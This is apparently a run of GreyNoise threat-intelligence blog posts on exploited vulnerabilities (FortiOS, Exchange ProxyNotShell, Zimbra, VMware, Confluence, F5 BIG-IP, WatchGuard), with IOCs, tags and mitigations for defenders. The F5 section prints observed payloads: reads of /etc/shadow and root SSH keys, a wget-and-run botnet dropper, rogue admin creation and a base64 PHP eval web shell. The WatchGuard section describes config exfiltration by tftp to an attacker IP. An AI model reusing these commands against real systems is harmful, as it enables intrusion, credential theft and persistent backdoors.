This will not hold true of all organizations, but it is a data-point we can provide at this time.

What are next steps?

1. Evaluate your environment for usage of OpenSSL <v3.0.7
2. Update dependencies to utilize OpenSSL v3.0.7+
3. Contact software vendor for support if you believe a vulnerable version of OpenSSL is statically linked to software your organization runs.

References

• OpenSSL provides an official security advisory and patch.
• DataDog Security Labs provides an deep dive on the vulnerability and proof-of-concept.
• NCSC-NL is maintaining a list of software/hardware and impact status.
• Royce Williams is maintaining a similar list along with other resources.

On October 6th, Fortinet sent an advance notice email to selected customers notifying them of CVE-2022-40684, a critical severity vulnerability (CVSS: 9.6) authentication bypass on the administrative interface of FortiOS / FortiProxy.

Affected versions and software include:

• FortiOS version 7.2.0 through 7.2.1
• FortiOS version 7.0.0 through 7.0.6
• FortiProxy version 7.2.0
• FortiProxy version 7.0.0 through 7.0.6
• FortiSwitchManager version 7.2.0
• FortiSwitchManager version 7.0.0

Mitigation steps and workarounds can be found at: https://www.fortiguard.com/psirt/FG-IR-22-377

How to track FortiOS Authentication Bypass Attempt

GreyNoise was contacted by Horizon3 for collaboration of their ongoing research into the FortiOS vulnerability. They graciously provided the necessary information needed to accurately tag this vulnerability.

GreyNoise users can track IPs attempting to exploit CVE-2022-40684 via:

• https://viz.greynoise.io/tag/fortios-authentication-bypass-attempt?days=3

Users can also search for the vulnerabilities using GNQL by CVE –

<span class="code-block" fs-test-element="rich-text">cve:CVE-2022-40684</span>

‍

or by tag name –

<span class="code-block" fs-test-element="rich-text">tags:”FortiOS Authentication Bypass Attempt”</span>

What we know

As of October 13, GreyNoise has observed IPs attempting internet-wide exploitation of this vulnerability, with activity increasing quickly over the past 24 hours. We are aware of several Proof-Of-Concept (POC) code examples to exploit CVE-2022-40684 and expect related exploitative network activity to continue to increase now that these are publicly available.

‍

FortiOS handles API calls by proxying all requests to an interface that is only accessible internally. This internal interface is responsible for verifying authentication and authorization. Proxied requests contain some additional parameters which can be used by FortiOS to bypass or authenticate internal requests. This allows an attacker to masquerade as an internal system API call, bypassing authentication on all externally-facing API endpoints.

Horizon3 has demonstrated leveraging the exploit to achieve authenticated SSH access to vulnerable devices as well as a blog on relevant Indicators Of Compromise (IOCs):

• https://twitter.com/Horizon3Attack/status/1579285863108087810
• https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/

Independent of any knowledge of Horizon3’s collaboration with GreyNoise, one of our engineers (Ian Ling) got curious and spent some time over the weekend researching the vulnerability, leading to successful exploitation with a slightly different methodology.

Authentication bypass in FortiOS / FortiProxy (CVE-2022-40684) is trivial to exploit and users should patch or employ mitigations immediately.

Recommended next steps

If you need to buy time under SLAs: use a block list and apply mitigations, check for presence of IOCs, and work towards upgrading software.

What we know

UPDATE 01-Oct-22: Microsoft Security Threat Intelligence released updated mitigation guidance through their blog. This is noted in the Mitigations section.

GreyNoise is investigating claims of multiple zero-day vulnerabilities in Microsoft Exchange Server, nicknamed ProxyNotShell.

Microsoft announced these are being tracked under the following CVEs:

• The first vulnerability, identified as CVE-2022-41040, is a Server-Side Request Forgery (SSRF) vulnerability
• The second, identified as CVE-2022-41082, allows remote code execution (RCE) when PowerShell is accessible to the attacker

Microsoft has reserved CVEs, but details have been added to the MITRE database:

• CVE-2022-41040
• CVE-2022-41082

These vulnerabilities are also being tracked by Zero-Day Initiative (ZDI), who demonstrated the exploit on Twitter, under ZDI-CAN-18333 and ZDI-CAN-18802.

GreyNoise is currently monitoring for any activity matching indicators described in the original vulnerability write-up.

This vulnerability is similar to (but not the same as) ProxyShell (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207).

How to track ProxyNotShell in GreyNoise

GreyNoise has released a single tag for tracking IPs checking for the presence of a vulnerability to ProxyNotShell:

• Exchange ProxyNotShell Vuln Check

GreyNoise is actively monitoring for additional information needed to track and tag ProxyNotShell Vuln Attempts.

Users can also search for the vulnerabilities using GNQL by CVE - 

<span class="code-block" fs-test-element="rich-text">cve:CVE-2022-41040 OR cve:CVE-2022-41082</span>

‍

or by tag name - 

<span class="code-block" fs-test-element="rich-text">tags:"Exchange ProxyNotShell Vuln Check"</span>

‍

‍Please note that this tag is not the same as the tags for tracking for ProxyShell (2021):

• Exchange ProxyShell Vuln Check
• Exchange ProxyShell Vuln Attempt

What GreyNoise has observed

Additionally, the write-up authors note that they “detected exploit requests in IIS logs with the same format as ProxyShell vulnerability.” Using this information, GreyNoise researchers searched historical sensor records from 2021-01-01 to 2022-09-29 for Proxyshell-related backend paths. GreyNoise has not observed any new backend paths in use since 2021-08-27.

The GreyNoise Analyzer shows that four of the IOC IPs have been observed by GreyNoise:

‍

Of these, 104[.]244[.]79[.]6 and 185[.]220[.]101[.]182 are Tor exits:

• https://metrics.torproject.org/exonerator.html?ip=104.244.79.6&timestamp=2022-08-01&lang=en
• https://metrics.torproject.org/exonerator.html?ip=185.220.101.182&timestamp=2022-08-01&lang=en

GreyNoise did not observe any OWA-related traffic from them in the past year.

The other two IPs, 137[.]184[.]67[.]33, the C2, and 103[.]9[.]76[.]208 can be seen here:

• https://viz.greynoise.io/ip/137.184.67.33
• https://viz.greynoise.io/ip/103.9.76.208

At this time, GreyNoise has not observed anything believed to be related to the vulnerability from these IPs in the past year.

Ongoing Monitoring

Microsoft indicated that CVE-2022-41040 could enable an authenticated attacker to trigger CVE-2022-41082 remotely. This vulnerability is similar to the 2021 ProxyShell vulnerability, which involved fabricating an authentication token. At this time, we lack the information necessary to determine if “ProxyNotShell” leverages a similar authentication token leak.

Mitigations

Microsoft Security Threat Intelligence is releasing official up-to-date mitigation guidance through their blog. 

Additionally, anyone can download the Blocklist for ‘Exchange ProxyNotShell Vuln Check’ to block at their firewall. For more information on how this works, please see GreyNoise documentation on Firewall Blocking with GreyNoise Trends.

There is currently no patch available for these vulnerabilities. We will update this blog with more information as it becomes available.

On April 20th, 2022, NVD published CVE-2022-27925, a vulnerability in Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 that allowed an authenticated user with administrator rights to upload arbitrary files to the system, leading to directory traversal.

On August 10th, 2022, Volexity published a blog investigating CVE-2022-27925 and announcing their discovery of an authentication bypass. This bug was a result of an incomplete fix for CVE-2022-27925.

On August 12th, 2022, NVD published Volexity’s authentication bypass as CVE-2022-37042.

Attackers can chain CVE-2022-37042 and CVE-2022-27925 to bypass authentication and upload arbitrary files such as web shells, leading to remote code execution. As of August 18th, 2022, GreyNoise has observed these two exploits in the wild with varying parameters appended to their POST paths:

‍

‍

At this time, GreyNoise has not validated which parameters are required for exploitation.

Most of these POST attempts contain a zip archive starting with the bytes “PK” (\x50\x4B) that deploys a JSP web shell to the following path:

These JSP files act as a backdoor that attackers can later access for remote code execution.

GreyNoise has observed two different JSP payloads. The first is a generic web shell that allows arbitrary command execution:

‍

‍

The second appears to only log the string “NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu” and delete itself: 

‍

‍

The following PoC produces a request similar to the one observed by GreyNoise:
https://github.com/GreyNoise-Intelligence/Zimbra_CVE-2022-37042-_CVE-2022-27925

GreyNoise tags for tracking and blocking this activity are live and available to all users:

• Zimbra Collaboration Suite Auth Bypass Attempt
• Zimbra Collaboration Suite RCE CVE-2022-27925 Attempt

TL;DR on CVE-2022-31656 and CVE-2022-31659

On August 2, 2022, VMWare disclosed two vulnerabilities in VMWare Workspace ONE products:

• CVE-2022-31656: VMware Workspace ONE Access, Identity Manager, and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may obtain administrative access without needing to authenticate.
• CVE-2022-31659: VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability. A malicious actor with administrator and network access can trigger remote code execution. 

VMWare has published patched versions of the products to remediate the vulnerabilities. 

GreyNoise has created tags for tracking and blocking exploit activity on these CVEs that are live and available to all users:

• VMware Workspace ONE Authentication Bypass CVE-2022-31656 Attempt
• VMware Workspace ONE RCE CVE-2022-31659 Attempt 

We have not observed either of these CVEs being actively exploited in the wild, as of the publication date of this blog.

Disclosure Discussion

On August 2, 2022, Petrus Viet, the researcher responsible for disclosing the vulnerabilities to VMWare, tweeted a screenshot demonstrating successful exploitation of the CVE-2022-31656 authentication bypass, but did not include proof-of-concept (PoC) code). 

Based on the screenshot, GreyNoise researchers speculate that Petrus’ work was based on the Horizon3 CVE-2022-22972 PoC , a similar authentication bypass discovered in May 2022.

‍

A blue teamer with a keen eye may note that the working directory for the CVE-2022-31656 exploit is “D:\Intellij\horizon”, perhaps hinting at Horizon3, in addition to several messages logged to the console that are similar to those from the Horizon3 CVE-2022-22972 PoC:

• Extraction of “protected_state” from a WorkSpace ONE endpoint
• A POST request to the auth endpoint
• A resulting “HZN” cookie which is granted access to the workspace ONE application

The main difference appears to be where the “protected_state” is extracted. These similarities gave key hints to the paths in the application defenders should monitor for exploitation. 

On August 9th, 2022, Petrus published a writeup ) for both vulnerabilities but did not provide any POC code. GreyNoise created tags for these CVEs based on paths from this writeup.

‍

‍

Mitigation Actions

GreyNoise tags for tracking and blocking this activity are live and available to all users:

• VMware Workspace ONE Authentication Bypass CVE-2022-31656 Attempt

• VMware Workspace ONE RCE CVE-2022-31659 Attempt 

Until you can install the patched versions of these VMWare products, GreyNoise offers a temporary mitigation you can apply:

• Block mass exploit IP addresses - GreyNoise is monitoring these CVEs for mass exploit activity, including curating a dynamic list of IP addresses attempting to exploit this vulnerability over the past 24 hours.  You can use this IP list to block temporarily until you have had time to install a patched version. The IP addresses can be downloaded in several formats, including JSON, CSV, TXT files, as well as dynamically updated URLs for use with Palo Alto Networks, Cisco, and Fortinet firewalls. The IP lists are available at the links above. 

TL;DR on CVE-2022-26134

• GreyNoise Research is tracking the critical-rated zero-day vulnerability CVE-2022-26134 in our tag “Atlassian Confluence Server CVE-2022-26134 OGNL Injection Attempt”
• This OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance, and Confluence versions as old as 1.0.3 are vulnerable. 
• Atlassian released a security advisory for CVE-2022-26134 on 2-Jun-22.
• As of 3-Jun-22, Atlassian has released patches and a temporary workaround to address the issue.
• GreyNoise is currently observing a steady increase in the number of IPs attempting to exploit this vulnerability. 
• Due to the nature of disclosure and intensity of ongoing exploitation, GreyNoise advises to assume compromise.
• Download the latest list of IPs trying to exploit this vulnerability here for use in analysis and temporary blocking

UPDATE: 8-Jun-22

Clustered CVE-2022-26134 Payloads as Observed by GreyNoise
GreyNoise has observed a number of variations of CVE-2022-26134 payloads with various intent. Shown below is a visualization of clusters of related payloads.
• IPs are removed from payloads for normalization
• Each node is a unique payload after normalization
• Each connection between nodes is when 2 nodes share a similarity score >85 using ssdeep
• Significantly dynamic payloads will not share similarity with other payloads and do not appear in the visual

‍

Vulnerability Overview - CVE-2022-26134

On 2-Jun-22, Atlassian released a security advisory to address a remote code execution vulnerability (CVE-2022-26134) affecting all supported versions of Confluence Server and Data Center products. An unauthenticated, remote attacker could exploit this vulnerability to execute code remotely. Atlassian reports that there is known exploitation of this vulnerability.

The zero-day vulnerability was initially discovered by cybersecurity firm Volexity. In a coordinated disclosure, Volexity explained that the vulnerability was discovered over the Memorial Day weekend while performing incident response. After conducting an investigation, Volexity could reproduce the exploit against the latest Confluence Server version and disclosed it to Atlassian on May 31st.

‍

"After a thorough review of the collected data, Volexity was able to determine the server compromise stemmed from an attacker launching an exploit to achieve remote code execution," explains a blog post by Volexity. "We were subsequently able to recreate that exploit and identify a zero-day vulnerability impacting fully up-to-date versions of Confluence Server."

‍

Confluence Security Advisory 2022-06-02 identifies which versions were affected, and the company has issued patches for the flaw, as well as recommended temporary workarounds until the fixes can be applied.

Cybersecurity firm Shodan has identified internet-facing Confluence systems in this search query:

• https://www.shodan.io/search?query=http.favicon.hash%3A-305179312 

Given the severity of the vulnerability and ease of exploitation, GreyNoise advises organizations to:

1. Apply mitigations or patch immediately on an emergency basis. 
2. If you are unable to apply these mitigations, we recommend you restrict or disable Confluence Server and Confluence Data Center instances immediately. 
3. Consider implementing IP address blocking rules against hosts actively attempting to exploit this vulnerability in the wild.

Observed In The Wild

GreyNoise Trends for Atlassian Confluence Server CVE-2022-26134 OGNL Injection Attempt:

• https://viz.greynoise.io/tag/atlassian-confluence-server-cve-2022-26134-ognl-injection-attempt

As of 6-Jun-22 at 7:00 pm UTC, GreyNoise has observed over 850 unique IP addresses attempting to exploit the Atlassian Confluence Server OGNL Injection Attempt vulnerability, CVE-2022-26134.  

Below are a set of observations from the GreyNoise Research team based on the mass exploitation activity for this CVE that we’ve captured via our passive global sensor network:

Scale of attacks

Around a third of GreyNoise sensors have been hit with this attack by a rising number of IP addresses. We have identified over 800 unique IPs in the first week of public proof of concept release, which makes this vulnerability in line with CVE-2021-44228 Apache Log4J exploitation traffic. The potential source of this large number of unique source IPs is the ease of exploitation mixed with the high-value target of Atlassian Confluence databases. The value of these databases is due to Confluence customers potentially storing important information like secrets, passwords, and proprietary knowledge in this documentation platform. 

Source of attacks

• Most exploit attempts have originated outside of VPNs or TOR exit nodes.

• Normally malicious attackers primarily use anonymizers, but GreyNoise sensors are seeing a small amount of TOR traffic in comparison to VPN or non-anonymized traffic. 
• Attackers that are utilizing VPN are largely using Nord VPN.

• 90% of requests match the current Rapid7 PoC parameters. This includes reference to a Java package and setting the X-Cmd-Response header. 

Exploitation techniques

Below is a running list of various exploitation techniques seen by GreyNoise researchers:

• 5% of our current sample includes ‘nslookup’ queries.
• Most of the websites requested use generated subdomain prefixes; these are the apex domains:

• Destructive attacks that include sudo rm -rf -no-preserve-root

• Attempts to download and remove custom scripts. 
• Utilization of the Nashorn Java class recommended for exploration in the Rapid7 blog post. 
• Potentially “undetectable” initial access indicators. Includes commands like math evaluation, setting special X-headers for the response (<span class="code-block" fs-test-element="rich-text">X-FOI-TEST</span>, <span class="code-block" fs-test-element="rich-text">X-Hax</span>, <span class="code-block" fs-test-element="rich-text">X-Vul=True</span>).

• Admin user creation attempts. Administrative users could be used for later access, but the current commands seen for this did not have any response vector set to indicate success.

• Under 1% of our current sample has Windows-related attempts. These attempts include PowerShell commands that download files that are no longer accessible, running cmd, dir commands.

• Lots of bash shells. These just include wgets and reverse shell attempts so far.

• Old friends: Mirai and Saru botnet additions. XMRig proliferation.
• Classic indicators of initial access orienteering - whoami, dir, cat, hostname, ls -l.
• Obfuscation techniques, such as putting the whole request in URL encoding:

• Base64 encoding generic commands
• A very creative <span class="code-block" fs-test-element="rich-text">[“cl"+"ass"].forName("jav"+"ax.sc"+"ript.S"+"criptEngineManager"</span>

• And naturally, people who have no idea what the hell they are doing.

Indicators of Compromise

The GreyNoise Trends tag, Atlassian Confluence Server CVE-2022-26134 OGNL Injection Attempt, provides a downloadable list of all the IP addresses observed attempting to mass exploit CVE-2022-26134 in the past 24 hours.

 Mitigation Actions

1. Patch

Atlassian has released patched versions of Confluence Server & Data Center and recommends upgrading to the latest Long Term Support release.

2. Mitigation prior to patching

Until you can install the patched version of Confluence, there are several temporary mitigations you can apply:

• Update specific files for specific versions of the product - For organizations unable to upgrade Confluence immediately, then as a temporary workaround, you can mitigate the CVE-2022-26134 issue by updating a specific set of .jar files identified in Confluence Security Advisory 2022-06-02.
• Block mass exploit IP addresses - GreyNoise identifies a list of IP addresses attempting to exploit this Confluence vulnerability in the past 24 hours that you can block temporarily until you have had time to install a patched version. The IP addresses can be downloaded from GreyNoise Trends for Atlassian Confluence Server CVE-2022-26134 OGNL Injection Attempt in several formats, including JSON, CSV, TXT files, as well as dynamically updated URLs for use with Palo Alto Networks, Cisco, and Fortinet firewalls.

Note - Disabling anonymous access does not provide sufficient means to mitigate this vulnerability. link

Additional Information

• https://nvd.nist.gov/vuln/detail/CVE-2022-26134 
• https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/ 
• https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ 
• https://www.cisa.gov/uscert/ncas/current-activity/2022/06/03/atlassian-releases-new-versions-confluence-server-and-data-center

TL;DR 

• As of 14-May-22, GreyNoise has observed 173 unique IP addresses attempting to exploit the F5 BIG-IP iControl REST Authentication bypass vulnerability in the wild.
• GreyNoise Trends exploit activity observed in the wild for CVE-2022-1388
• Observed exploit techniques include a large number of file requests, credential stuffing, and admin user creation. 
• Download the latest list of IPs trying to exploit this vulnerability here for use in analysis and temporary blocking

Vulnerability Overview - CVE-2022-1388

On 4-May-22, F5 Networks issued Security Advisory K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388, which allows an unauthenticated attacker to take control of an affected system. According to NIST’s National Vulnerability Database, CVE-2022-1388 carries a CVSS score of 9.8 CRITICAL out of 10.

"This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services," F5 said in an advisory. "There is no data plane exposure; this is a control plane issue only."

The F5 Security Advisory identifies which versions are affected, and the company has issued patches for the flaw, as well as recommended temporary workarounds until the fixes can be applied. 

As of May 8, 2022, a number of security researchers started sharing evidence of their successful exploitation attempts:

• https://twitter.com/BursaMatus/status/1523379163914137600
• https://twitter.com/ptswarm/status/1522873828896034816
• https://twitter.com/Horizon3Attack/status/1523634533400461312

Given the severity of the vulnerability and ease of exploitation, GreyNoise advises organizations to apply mitigations or patch immediately.

Observed In The Wild

GreyNoise Trends for F5 BIG-IP iControl REST Authentication Bypass:

• https://viz.greynoise.io/tag/f5-big-ip-icontrol-rest-authentication-bypass

As of 14-May-22, GreyNoise has observed 173 unique IP addresses attempting to exploit the F5 BIG-IP iControl REST Authentication bypass vulnerability, CVE-2022-1388. 

‍

Below are a set of observations from the GreyNoise Research team based on the mass exploitation activity for this CVE that we’ve captured via our passive global sensor network:

Scale of attacks

Although GreyNoise has seen a rising number of IP addresses using this attack, this is still a relatively low number when compared to the first week of the Apache Log4J Vulnerability CVE-2021-44228, which had up to 800 unique IPs in the first days of public proof of concept release. This is potentially because of the large number of devices with “F5 BigIP'' in their title on Shodan and the large percentage of those that could be honeypots. Some honeypots lack crucial characteristics that this attack relies on, such as a server associated with the vulnerability like Apache or Jetty, and therefore are worthless to the attacker. 

Source of attacks

• 30% of exploit traffic targeting F5 BigIP devices is coming through TOR, commonly used for source obfuscation.
• 52 out of 123 of the IPs in the initial survey of traffic were new IPs to GreyNoise sensors. This indicates actors may have utilized new infrastructure to deploy their exploit scripts.

Exploitation techniques

A large number of file requests - using ‘cat’ and then a filename allows the attacker to read the files they are requesting. They can use this information as reconnaissance for further attacks.

<pre><code>cat /root/.bash_history
cat /etc/hosts
cat /config/bigip.conf
cat /var/ssh/root/identity
cat /config/bigip_user.conf
cat /var/ssh/root/authorized_keys
cat /etc/shadow
cat /var/ssh/root/identity.pub</code></pre>

‍

A single f5 master key grab attempt (Source: https://support.f5.com/csp/article/K9420)

<pre><code>f5mku -K</code></pre>

‍

“Add to botnet” script - a small script starts by using ‘<span class="code-block" fs-test-element="rich-text">unset histfile</span>’ commands to stop the command history from being saved to the box. The script then reaches out to an external IP to get a file called “<span class="code-block" fs-test-element="rich-text">sitemap1.jpg</span>”, and then rules that file as a perl script. That perl script adds the machine to an IRC-based botnet.

<pre><code>unset HISTFILE;unset HISTSAVE;wget http://[x.x.x.x]/sitemap1.jpg;fetch http://[x.x.x.x]/sitemap1.jpg;curl -O http://[x.x.x.x]/sitemap1.jpg;perl sitemap1.jpg;rm -rf sitemap*\</code></pre>

‍

‍Credential stuffing - we’ve seen an interesting approach to credential stuffing used - a base64 encoded login string which decodes to admin:horizon 3. @Horizon3Attack is the name of the group which first released their PoC for this exploit.

• Connection: X-F5-Auth-Token Host: 127.0.0.1 Authorization: Basic YWRtaW46aG9yaXpvbjM= X-F5-Auth-Token: asdf 

Exploit failures - we’re seeing some things that just don’t work. 

• X-F5-Auth-Tokens set to values that won’t work - the most prominent of which taking the literal advice of “set the X-F5-Auth-Token to anything”.

User creation - the user created results in an admin role with a bash shell, giving the attacker potential command line access if the command actually creates the user.

<pre><code>tmsh show running-config /auth user; tmsh create auth user syscron password MfWmK86skPwXiTG partition-access add { all-partitions { role admin } } shell bash'</code></pre>

‍

‍Potential php eval script injection - a small script that edits the imgTui.php script internal to the F5. This technique is a potential php eval script injection. 

<pre><code>mount -o remount -rw /usr;echo PD9waHAgQGV2YWwoJF9SRVFVRVNUWydUN01IeXJkM0w2J10pOw== | base64 --decode > /usr/local/www/xui/common/images/imgTui.php;mount -o remount -r /usr</code></pre>

• The base64 decodes to <?php @eval($_REQUEST['T7MHyrd3L6']);

Indicators of Compromise

GreyNoise Trends for F5 BIG-IP iControl REST Authentication Bypass provides a downloadable list of all the IP addresses observed attempting to mass exploit CVE-2022-1388 in the past 24 hours.

Mitigation Actions

Patch

‍F5 has recommended installing patched versions of F5 BIG-IP that are known to be vulnerable.

Mitigation prior to patching

‍Until you can install the patched version of BIG-IP, there are several temporary mitigations you can apply:

• Block iControl REST access - F5-recommended mitigations include blocking iControl REST access through the self IP address and the management interface
• Modify BIG=IP httpd configuration - F5-recommended mitigation
• Block mass exploit IP addresses - GreyNoise identifies a list of IP addresses attempting to exploit this BIG-IP vulnerability in the past 24 hours that you can block temporarily until you have had time to install the patched version of BIG-IP. The IP addresses can be downloaded from GreyNoise Trends for F5 BIG-IP iControl REST Authentication Bypass in several formats, including JSON, CSV, TXT files, as well as dynamically updated URLs for use with Palo Alto Networks, Cisco, and Fortinet firewalls.

Additional Information

• 4-May-22 F5 Warns of a New Critical BIG-IP Remote Code Execution Vulnerability, The Hacker News
• 8-May-22 Researchers Develop RCE Exploit for the Latest F5 BIG-IP Vulnerability, The Hacker News
• 10-May-22 Critical F5 BIG-IP vulnerability exploited to wipe devices, Bleeping Computer
• 12-May-22 Active Exploitation of F5 BIG-IP Devices (CVE-2022-1388), Security Boulevard

GreyNoise has observed malicious activity targeting WatchGuard CVE-2022-26318

UPDATE 28-Mar-22: A new PoC was released today for CVE-2022-26318 on WatchGuard Firebox and XTM appliances. Here are a couple of links to watch for new activity:

• GreyNoise Search - WatchGuard RCE Attempt
• GreyNoise Trends - WatchGuard RCE Attempt

Somebody has dropped the exploit for the pre-auth RCE (CVE-2022-26318) on WatchGuard Firebox and XTM appliances.

PoC: (NA) @GreyNoiseIO observed wild exploitation activity already.

Further analysis on https://t.co/xZSSvvSNxB (Yassine Aboukir 🐐 , @Yassineaboukir, March 28, 2022

---

As of February 27th, GreyNoise identified exploit activity targeting WatchGuard Firebox and XTM appliances. The logs of the associated traffic were shared with WatchGuard, who confirmed it was related to CVE-2022-26318. This vulnerability was published by NVD on March 3rd and was last modified on March 15th.

CVE-2022-26318 - On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code, aka FBX-22786. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.

There is currently no publicly available proof-of-concept for this vulnerability, and we have reason to believe that this is currently being exploited by a sophisticated actor.

Find our GreyNoise tag to track and monitor this activity: GreyNoise Search | GreyNoise Trends.

Diagnose, Remediate, Prevent, Investigate

WatchGuard has published a software patch for CVE-2022-26318 and included it in the same software update that addressed Cyclops Blink. The FBI, CISA, DOJ, and UK NCSC worked closely with WatchGuard to develop the remediation plan for Cyclops Blink, which can be found at https://detection.watchguard.com/. These steps objectively address both Cyclops Blink and CVE-2022-26318 by updating the Fireware OS to the newest version. It is strongly advised that the steps as outlined be followed in their entirety.

If you are exclusively addressing CVE-2022-26318 as part of network security operations, the relevant Fireware release notes and documentation on Firebox remote management best practices are linked below:

• Fireware Release Notes
• Firebox Remote Management Best Practices

Indicators of Compromise (IOCs) & Detection

The following IOCs are provided to aid network security operations teams who may be unable to patch due to extraneous factors (such as those living with strict SLAs). Some artifacts of the observed payloads are described in an intentionally vague manner to prevent usage in offensive exploitation. As of this writing (March 17, 2022), no publicly available Proof-Of-Concept exploitation code is known to exist.

Observed CVE-2022-26318 payloads connect using a TLS wrapped TCP socket with a destination port of 4117, a port used for the management interface of WatchGuard products. An HTTP request is sent over the TLS connection.

Start Line

POST /agent/login HTTP/1.1

The URL path used for authentication for the WatchGuard management interface

Headers

Host: <victim_ip>:4117

This port is used for the WatchGuard management interface.

Content-Encoding: gzip

The body of the POST request is compressed with gzip

Content-Length: 673

Observed gzip compressed HTTP body payloads have a Content-Length of greater than 600 bytes.

For comparison, a well-formed benign authentication attempt to this HTTP path measures at just ~450 bytes prior to compression.

Body

The body of observed payloads are sent gzip compressed. Example payload compression attributes:

It is unclear at this time whether a gzip compressed payload body is necessary for exploitation.

Gzip

The contents of the gzip compressed payload contain a stream of data (named in order of appearance):

• Large, malformed XML
• A byte sequence that does not fall within the ASCII text range
• Python code that is executed using /usr/bin/python /tmp/test.py

Python Code

This python code does the following:

• Imports a cryptography library Fernet
• Defines a Base64 encoded key uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk=
• Reads the WatchGuard config file /etc/wg/config.xml into a buffer
• Encrypts the buffer using the Base64 encoded key
• Writes the encrypted buffer to a file /tmp/enc_config.xml
• Executes a system command tftp -p -l /tmp/enc_config.xml -r <victim_ip>.bin 50[.]7.210.114

• This command uses the Trivial File Transfer Protocol client to upload the encrypted file to an attacker-controlled server

• Deletes the local copy of the encrypted config /tmp/enc_config.xml

Additional Notes

• If an HTTP body is gzip compressed, the last 4 bytes of the body may be cast as a Little Endian Unsigned Int32 value to get the uncompressed size of the gzip stream without needing to actually decompress the stream.
• The Base64 Encoded key used in the python code (uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk=) was observed across multiple payloads.
• One of the IPs attempting to exploit CVE-2022-26318 62[.]171.145.102 serves a branded login page:

‍

• One of the IPs used for exfiltrating the encrypted WatchGuard config 50[.]7.210.114 has the following DNS records pointing to it:

• stream[.]gtf[.]club
• stream[.]radioneformat[.]ru

Please check out GreyNoise Search | GreyNoise Trends to track the latest activity for this vulnerability, and check back on this blog for periodic updates (we’ll add new information to the top of the page).

While you will be able to find a comprehensive list of all the tags created since our last round up below, the GreyNoise Research team wanted to highlight some interesting tags.

Apache Log4j RCE Attempt [Intention: Malicious]

Self Explanatory.

Backdoor Connection Attempt via WinDivert [Intention: Malicious]

This tag was created this week as a result of the research done by the Avast team.

DNS Over HTTPS Scanner [Intention: Unknown]

Relatively new technology. It's interesting because “why would you scan the internet for that?” and there's no clear motive - that we can tell.

Microsoft HTTP.sys RCE Attempt [Intention: Malicious]

Critical vulnerability in MS Windows’ http.sys kernel module.

VMware vCenter SSRF Attempt [Intention: Malicious]

Widely popular server management software.

Zoho ManageEngine ServiceDesk Plus msiexec RCE Attempt [Intention: Malicious]

A critical vulnerability in a popular help desk platform.

It has been a while since we last published a Tag Round Up! If these are helpful to you, or you have suggestions on what you would like to see, please reach out to community@greynoise.io

Antiwork Port 9100 Print Request [Intention: Unknown]

This IP address has been observed sending distinct RAW TCP/IP requests to network printers. References:

• https://en.wikipedia.org/wiki/JetDirect#Protocols
• https://web.archive.org/web/20211130181319/https://i.redd.it/d6v5i21cmr281.jpg

See it on GreyNoise Viz

Backdoor Connection Attempt via WinDivert [Intention: Malicious]

This IP address has been observed attempting to send a known activation secret "CB5766F7436E22509381CA605B98685C8966F16B" for a malicious backdoor utilizing WinDivert. References:

• https://decoded.avast.io/threatintel/avast-finds-backdoor-on-us-government-commission-network/
• https://github.com/avast/ioc/blob/master/usgov-backdoor/rce_example/run_calculator_on_infected.py

See it on GreyNoise Viz

DNS Over HTTPS Scanner [Intention: Unknown]

This IP address has been observed attempting to scan for responses to DNS over HTTPS (DoH) requests. References:

• https://datatracker.ietf.org/doc/html/rfc8484
• https://en.wikipedia.org/wiki/DNS_over_HTTPS

See it on GreyNoise Viz

Generic Unix Reverse Shell Attempt [Intention: Malicious]

This IP address has been observed attempting to spawn a generic Unix reverse shell via the web request. References:

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp

See it on GreyNoise Viz

iKettle Crawler [Intention: Unknown]

This IP address has been observed crawling the Internet and attempting to discover iKettle devices. References:

• https://awe.com/mark/blog/20140223.html
• https://asecuritysite.com/subjects/chapter54

See it on GreyNoise Viz

InfluxDB Crawler [Intention: Unknown]

This IP address has been observed crawling the Internet and attempting to discover InfluxDB instances. References:

• https://archive.docs.influxdata.com/influxdb/v0.9/query_language/query_syntax/#http

See it on GreyNoise Viz

IRC Crawler [Intention: Unknown]

This IP address has been observed sending NICK and USER commands used to register a connection with an IRC server. References:

• https://datatracker.ietf.org/doc/html/rfc2812#section-3.1

See it on GreyNoise Viz

iSCSI Crawler [Intention: Unknown]

This IP address has been observed crawling the Internet and attempting to discover hosts that respond to iSCSI login requests. References:

• https://www.rfc-editor.org/rfc/rfc7143.html#section-11.2
• https://book.hacktricks.xyz/pentesting/3260-pentesting-iscsi

See it on GreyNoise Viz

Jira REST API Crawler [Intention: Unknown]

This IP address has been observed attempting to enumerate Jira instances. References:

• https://developer.atlassian.com/cloud/jira/platform/rest/v3/api-group-server-info/

See it on GreyNoise Viz

Apache Druid RCE Attempt [Intention: Malicious]

CVE-2021-25646

This IP address has been observed attempting to exploit CVE-2021-25646, a remote command execution in Apache Druid v0.20.0 and earlier References:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646
• https://www.zerodayinitiative.com/blog/2021/3/25/cve-2021-25646-getting-code-execution-on-apache-druid
• https://blogs.juniper.net/en-us/threat-research/cve-2021-25646-apache-druid-embedded-javascript-remote-code-execution

See it on GreyNoise Viz

Apache Log4j RCE Attempt [Intention: Malicious]

CVE-2021-44228 | CVE-2021-45046

